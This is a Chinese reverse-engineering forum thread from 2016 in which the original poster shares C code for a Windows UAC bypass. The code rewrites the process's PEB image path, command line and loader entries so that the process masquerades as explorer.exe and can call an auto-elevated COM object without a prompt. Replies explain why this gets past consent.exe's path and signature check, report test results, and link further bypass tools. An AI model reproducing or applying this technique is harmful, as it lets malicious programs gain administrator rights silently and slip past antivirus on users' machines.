首页
社区
课程
招聘
[旧帖] [原创][原创]发点关于UAC提权的心得 0.00雪花
发表于: 2016-4-12 21:31 7079

[旧帖] [原创][原创]发点关于UAC提权的心得 0.00雪花

2016-4-12 21:31
7079
拜读了安大神的帖子http://bbs.pediy.com/showthread.php?t=206830,学到了一种新的过UAC的方法,自己下来写了几行代码测试了下,果然完美的过了win7-win10的UAC!

前期关注了国外大神hFiref0x的UACME开源项目https://github.com/hfiref0x/UACME,十几种方法确实很牛,只可惜,微软在win8.1至win10的各个新发布版本中不断修补了DLL劫持提权的方法,,前几天hFiref0x大大都对微软无语了,win10的RS1build 14316 版本操作系统中已经碉堡了。。。

很感谢安大神新的思路

不过测试的时候,貌似360会对注入explorer.exe行为弹框

下面给出解决思路,无需注入进程即可将自己的程序模拟成系统程序,调用auto-elevated COM object来实现过UAC,,而不会弹出UAC框!
用下面的源码
        PLDR_DATA_TABLE_ENTRY   Entry;
        PLIST_ENTRY             Head, Next;
        PPEB                    Peb = RtlGetCurrentPeb();
        PVOID                   ImageBase = Peb->ImageBaseAddress;
        WCHAR                   szBuffer[MAX_PATH + 1];

        RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
        GetWindowsDirectory(szBuffer, MAX_PATH);
        lstrcat(szBuffer, L"\\explorer.exe");

        RtlEnterCriticalSection(Peb->FastPebLock);

        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, szBuffer);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, szBuffer);

        RtlLeaveCriticalSection(Peb->FastPebLock);

        RtlEnterCriticalSection(Peb->LoaderLock);

        Head = &Peb->Ldr->InLoadOrderModuleList;
        Next = Head->Flink;
        while (Next != Head) {
            Entry = CONTAINING_RECORD(Next, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
            if (Entry->DllBase == ImageBase) {
                RtlInitUnicodeString(&Entry->FullDllName, szBuffer);
                RtlInitUnicodeString(&Entry->BaseDllName, L"explorer.exe");
                break;
            }
            Next = Next->Flink;
        }

        RtlLeaveCriticalSection(Peb->LoaderLock);


可以免注入,即在自身进程中实现调用auto-elevated COM object
这里源码就不放出了,结合上述思路以及安大神的uninstall launcher接口,可以完美的在win7-win10,以及主流杀软环境下过UAC

第一次发帖,,写的很乱,

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (22)
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
沙发!!!!!!!!!!!!
2016-4-13 10:21
0
雪    币: 346
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
学习了! !
2016-4-13 12:23
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark
2016-4-16 17:29
0
雪    币: 35
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
之前不是有wusa提取的方式么
2016-4-18 15:10
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
嗯嗯,UACME中确实有Wusa释放dll的这种方法,,在Windows 10 build 10147之后的版本已经不再支持extract了,,而且这种方法被某些杀软拦截的厉害
2016-4-18 16:53
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
7
抛砖引玉,支持...
2016-4-20 18:38
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好啊 好吧的了么
2016-4-20 19:07
0
雪    币: 13
活跃值: (1763)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
撸主 win7 x64下 CoGetObject 还是弹出UAC框
2016-4-21 08:53
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
好吧,没做任何处理的情况下,在普通进程中调用肯定会的呀(32、64位的都会),不过注入代码到explorer.exe或者修改进程的基本信息(如上述代码)之后在本进程中调用就不会的哦!
2016-4-22 08:28
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
修改了PEB中的进程路径等信息,依然还是会弹窗... 测试环境win 7 sp1 x64...   看来还是要逆下windows的对于这块的校验机制...
2016-4-22 14:22
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
我测试了下下,发现修改之后,win7 x86,win10 x86,x64会弹出UAC框,,win7 x64,win8.1 x86,x64不会弹框,
再看看神马情况,一起搞之
2016-4-22 16:36
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
感谢安大神的支持
2016-4-22 16:38
0
雪    币: 92
活跃值: (100)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
。aaa
2016-6-22 18:21
0
雪    币: 379
活跃值: (1906)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
15
学到了,谢谢分享
2016-6-23 11:30
0
雪    币: 75
活跃值: (1280)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
楼主,在安大新方法上加了你的代码 在win7 x32 x64上测试还是会提示 只是提示信息变了

楼主能否留个Q 方便一起交流   
上传的附件:
2016-6-24 16:04
0
雪    币: 465
活跃值: (191)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
大神,将自己的程序模拟成系统程序能只用Win32而不用WDK吗?
2016-6-28 15:17
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
好久没上来,不好意思哈,问题很久之前就解决了,其实这个问题在于你的程序模拟系统程序没有成功。
我跟踪过系统UAC相关的Consent.exe进程,,对需要绕过UAC虚拟化获得管理员权限的进程(这里我们在自己的程序中执行系统白名单COM,但是我们的程序肯定没有微软的签名),检测文件路径、签名,只有文件是微软签名且在windows系统目录中的进程才能执行系统白名单COM而不弹出提示框

验证流程:
1.consent.exe首先根据进程的Peb->ProcessParameters->ImagePathName进行路径验证 ,读取对应的exe并判断其签名和路径
2.若有签名且在系统目录中,,那么当前执行系统白名单COM的进程则直接获取管理员权限而不弹框
3.若没有签名或者不在系统目录中,那么当前执行系统白名单COM的进程则弹UAC框(如你所给的图)

我之前发的代码思路就是,自己程序中在执行系统白名单COM之前,,,先修改自己的peb结构,讲Peb->ProcessParameters->ImagePathName指向系统explorer.exe进程,此时再调用COM,那么consent进程验证的时候,实际上验证的是explorer.exe(系统UAC白名单程序,肯定成功),之后就能成功的调用卸载接口COM而不弹框了
2016-7-20 16:04
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
,只是简单的修改了下本进程peb结构的内容而已,用户权限就可以做的
2016-7-20 16:05
0
雪    币: 465
活跃值: (191)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
那就用peloader了?
2016-7-21 11:57
0
雪    币: 965
活跃值: (89)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
撸主 win7 x64下 CoGetObject 还是弹出UAC框
2016-10-30 10:05
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
22
http://www.freebuf.com/sectool/114592.html
http://www.freebuf.com/articles/system/116611.html
https://github.com/ExpLife/ARPUninstallStringLauncherBypassUac
https://github.com/ExpLife/BypassUacTool

见这里
2016-10-30 11:03
0
雪    币: 115
活跃值: (23)
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
23
过了UAC 能干嘛呢,UAC又不是杀毒的主动,如果是码子,主动拦截也没用啊。楼主
2016-11-6 16:07
0
游客
登录 | 注册 方可回帖
返回
//